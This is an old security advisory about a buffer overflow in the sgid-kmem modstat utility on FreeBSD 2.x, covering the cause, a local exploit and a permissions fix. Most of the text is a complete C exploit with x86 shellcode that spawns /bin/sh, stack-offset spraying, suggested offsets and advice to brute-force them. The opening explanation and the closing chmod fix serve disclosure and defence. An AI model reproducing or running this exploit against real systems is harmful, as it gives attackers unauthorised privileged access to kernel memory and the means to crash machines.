COMMAND

    modstat

SYSTEMS AFFECTED

    Systems with the *BSD distribution of modstat sgid kmem   (FreeBSD
    2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1).

PROBLEM

    Modstat is sgid kmem which is  really handy to become if you  feel
    like  looking  through  /dev/mem  and  /dev/kmem.  Like just about
    everything else under  the sun it  has a buffer  overflow problem.
    The  problem  exists  in  the  dostat() routine where an arbitrary
    sized string is shoved into sbuf.name through a strcpy().

    It  is  also  possible  to  panic  many systems by reading through
    all  memory.  With  memory  mapped  architectures  you  will   set
    various  flags  for  having  read  values  and touched registers -
    since the  system is  expecting these  registers to  be in certain
    states, tripping them  to other states  can cause bizarre  results
    can occur.  A quick  example is  to md5  through your interface to
    memory and watch the confusion  that can occur in certain  systems
    ;-) So yes, in many cases  being group kmem will let you  shutdown
    a  machine  in  a  roundabout  way...   even  with  just Read-Only
    abilities.

********************************************************************
* modstat buffer overflow code - mudge@l0pht.com                   *
* 8/11/96                                                          *
* Done initially on FreeBSD as my BSDI box is down right now...    *
* sigh. It should work on any x86 arch with the standard *BSD      *
* implementation as they all use the same opcodes and operands.    *
* Go grab the splitvt code if you want this to work on Linux.      *
*                                                                  *
* try with offsets of -48, 7, 271, 326 with the way this is curr.  *
* setup. If these fail, brute force it <grin>.               *
*                                                                  *
* Many thanks to bitwrior for initially finding the code problem   *
* in modstat and pointing it out to me - It's always nice when     *
* someone hands you a bone to gnaw on without wanting              *
* anything in particular out of it [this I know 'cause he has no   *
* problems writing this sort of thing on his own].                 *
*******************************************************************/

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
{
   __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv)
{
   int i, j, offset;
   char *bar, *foo;
   unsigned long *esp_plus = NULL;


   char mach_codes[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


   if (argc == 2)
     offset = atoi(argv[1]);
   else {
     fprintf(stderr, "Usage: %s offset\n", argv[0]);
     exit(1);
   }

   bar = malloc(4096);
   if (!bar){
     printf("failed to malloc memory\n");
     exit(1);
   }

   foo = bar;  /* copy of original ptr */

   esp_plus = (long *)bar;
   for(i=0; i<24; i++)
     *(esp_plus++) = (get_esp() + offset);

   printf("Using offset (0x%x)\n", (get_esp() + offset));

   bar = (char *)esp_plus;

   for(j=0; j<strlen(mach_codes); j++)
     *(bar++) = mach_codes[j];

   *bar = 0;

   execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
}

SOLUTION

    Modstat does not need to be setuid kmem. It is thus sufficient  to
    do the following:

        su
        cd /usr/bin
        chmod 555 modstat